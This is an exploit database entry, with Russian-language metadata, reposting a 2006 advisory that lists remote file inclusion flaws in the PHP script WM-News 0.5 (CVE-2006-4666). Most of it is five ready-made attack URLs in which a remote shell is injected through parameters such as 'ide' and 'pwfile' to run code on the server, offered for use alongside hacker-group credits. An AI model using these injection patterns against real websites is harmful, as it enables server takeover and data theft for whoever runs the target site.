Exploit WM-News 0.5 - Multiple Remote File Inclusions

[Exploiter]

EDB-ID

2326

Проверка EDB

1. Пройдено

Автор

DDOSHOMO

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-4666

Дата публикации

2006-09-07

# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----

# WM-News v0.5 - Remote File Include Vulnerabilities

# site    : http://www.comscripts.com/jump.php?action=script&id=203

# Script  :  WM-News v0.5

# Credits : ERNE

# Contact : [email protected]  and irc.gigachat.net #kurdhack

# Thanks  : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner

# Vulnerable :
    http://www.site.com/[path]/content/article.php?ide=[shell]
    http://www.site.com/[path]/content/delete.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify.php?pwfile=[shell]
    http://www.site.com/[path]/content/admin.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify_go.php?pwfile=[shell]


# milw0rm.com [2006-09-07]